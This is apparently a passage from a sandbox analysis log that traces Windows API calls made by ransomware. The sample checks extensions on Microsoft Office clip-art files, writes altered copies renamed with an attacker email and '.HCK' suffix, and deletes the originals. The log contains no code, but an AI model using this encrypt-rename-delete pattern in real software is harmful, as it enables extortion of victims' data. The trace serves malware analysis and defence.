lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString=".bz2") returned 4 [0171.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString=".7z") returned 3 [0171.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".dbf") returned 4 [0171.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".1cd") returned 4 [0171.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".jpg") returned 4 [0171.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.843] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.843] lstrlenW (lpString="J0285822.WMF") returned 12 [0171.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.849] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8608) returned 1 [0171.849] CloseHandle (hObject=0x394) returned 1 [0171.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf")) returned 0x220 [0171.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.856] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.856] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.861] GetLastError () returned 0x0 [0171.861] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x21a0, lpOverlapped=0x0) returned 1 [0171.863] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x21b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x21b0, lpOverlapped=0x0) returned 1 [0171.864] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.864] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.864] SetEndOfFile (hFile=0x3ac) returned 1 [0171.864] CloseHandle (hObject=0x3ac) returned 1 [0171.864] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.864] SetEndOfFile (hFile=0x38c) returned 1 [0171.865] CloseHandle (hObject=0x38c) returned 1 [0171.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf")) returned 1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".doc") returned 4 [0171.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString=".docx") returned 5 [0171.868] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.868] lstrlenW (lpString=".pdf") returned 4 [0171.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString=".xls") returned 4 [0171.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.868] lstrlenW (lpString=".xlsx") returned 5 [0171.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.868] lstrlenW (lpString=".ppt") returned 4 [0171.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".zip") returned 4 [0171.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.868] lstrlenW (lpString=".rar") returned 4 [0171.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString=".bz2") returned 4 [0171.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString=".7z") returned 3 [0171.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".dbf") returned 4 [0171.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".1cd") returned 4 [0171.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".jpg") returned 4 [0171.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.868] lstrlenW (lpString=".doc") returned 4 [0171.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.868] lstrlenW (lpString=".docx") returned 5 [0171.869] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.869] lstrlenW (lpString=".pdf") returned 4 [0171.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString=".xls") returned 4 [0171.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.869] lstrlenW (lpString=".xlsx") returned 5 [0171.869] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.869] lstrlenW (lpString=".ppt") returned 4 [0171.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.869] lstrlenW (lpString=".zip") returned 4 [0171.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.869] lstrlenW (lpString=".rar") returned 4 [0171.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString=".bz2") returned 4 [0171.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString=".7z") returned 3 [0171.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.869] lstrlenW (lpString=".dbf") returned 4 [0171.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.869] lstrlenW (lpString=".1cd") returned 4 [0171.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF") returned 68 [0171.869] lstrlenW (lpString=".jpg") returned 4 [0171.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.869] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.869] lstrlenW (lpString="J0287019.WMF") returned 12 [0171.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.874] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=37658) returned 1 [0171.874] CloseHandle (hObject=0x374) returned 1 [0171.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf")) returned 0x220 [0171.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0171.880] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.880] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.887] GetLastError () returned 0x0 [0171.887] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x931a, lpOverlapped=0x0) returned 1 [0171.889] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9320, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9320, lpOverlapped=0x0) returned 1 [0171.890] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.890] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.890] SetEndOfFile (hFile=0x368) returned 1 [0171.895] CloseHandle (hObject=0x368) returned 1 [0171.898] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.898] SetEndOfFile (hFile=0x3a8) returned 1 [0171.906] CloseHandle (hObject=0x3a8) returned 1 [0171.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf")) returned 1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".doc") returned 4 [0171.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".docx") returned 5 [0171.912] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.912] lstrlenW (lpString=".pdf") returned 4 [0171.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".xls") returned 4 [0171.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.912] lstrlenW (lpString=".xlsx") returned 5 [0171.912] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.912] lstrlenW (lpString=".ppt") returned 4 [0171.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".zip") returned 4 [0171.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.912] lstrlenW (lpString=".rar") returned 4 [0171.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".bz2") returned 4 [0171.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".7z") returned 3 [0171.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".dbf") returned 4 [0171.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".1cd") returned 4 [0171.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".jpg") returned 4 [0171.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.912] lstrlenW (lpString=".doc") returned 4 [0171.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".docx") returned 5 [0171.912] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.912] lstrlenW (lpString=".pdf") returned 4 [0171.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.912] lstrlenW (lpString=".xls") returned 4 [0171.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.913] lstrlenW (lpString=".xlsx") returned 5 [0171.913] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.913] lstrlenW (lpString=".ppt") returned 4 [0171.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.913] lstrlenW (lpString=".zip") returned 4 [0171.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.913] lstrlenW (lpString=".rar") returned 4 [0171.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.913] lstrlenW (lpString=".bz2") returned 4 [0171.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.913] lstrlenW (lpString=".7z") returned 3 [0171.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.913] lstrlenW (lpString=".dbf") returned 4 [0171.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.913] lstrlenW (lpString=".1cd") returned 4 [0171.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF") returned 68 [0171.913] lstrlenW (lpString=".jpg") returned 4 [0171.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.913] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.913] lstrlenW (lpString="J0287417.WMF") returned 12 [0171.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0171.916] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=54972) returned 1 [0171.916] CloseHandle (hObject=0x3a8) returned 1 [0171.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf")) returned 0x220 [0171.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.924] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.924] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0171.929] GetLastError () returned 0x0 [0171.929] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xd6bc, lpOverlapped=0x0) returned 1 [0171.933] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xd6c0, lpOverlapped=0x0) returned 1 [0171.934] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.935] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.935] SetEndOfFile (hFile=0x3a8) returned 1 [0171.938] CloseHandle (hObject=0x3a8) returned 1 [0171.942] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.942] SetEndOfFile (hFile=0x368) returned 1 [0171.946] CloseHandle (hObject=0x368) returned 1 [0171.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf")) returned 1 [0171.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.951] lstrlenW (lpString=".doc") returned 4 [0171.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.951] lstrlenW (lpString=".docx") returned 5 [0171.951] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.951] lstrlenW (lpString=".pdf") returned 4 [0171.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.951] lstrlenW (lpString=".xls") returned 4 [0171.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.951] lstrlenW (lpString=".xlsx") returned 5 [0171.952] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.952] lstrlenW (lpString=".ppt") returned 4 [0171.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".zip") returned 4 [0171.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.952] lstrlenW (lpString=".rar") returned 4 [0171.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".bz2") returned 4 [0171.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".7z") returned 3 [0171.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".dbf") returned 4 [0171.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".1cd") returned 4 [0171.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".jpg") returned 4 [0171.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".doc") returned 4 [0171.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".docx") returned 5 [0171.952] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.952] lstrlenW (lpString=".pdf") returned 4 [0171.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".xls") returned 4 [0171.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.952] lstrlenW (lpString=".xlsx") returned 5 [0171.952] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.952] lstrlenW (lpString=".ppt") returned 4 [0171.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.952] lstrlenW (lpString=".zip") returned 4 [0171.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.952] lstrlenW (lpString=".rar") returned 4 [0171.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".bz2") returned 4 [0171.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.952] lstrlenW (lpString=".7z") returned 3 [0171.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.953] lstrlenW (lpString=".dbf") returned 4 [0171.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft 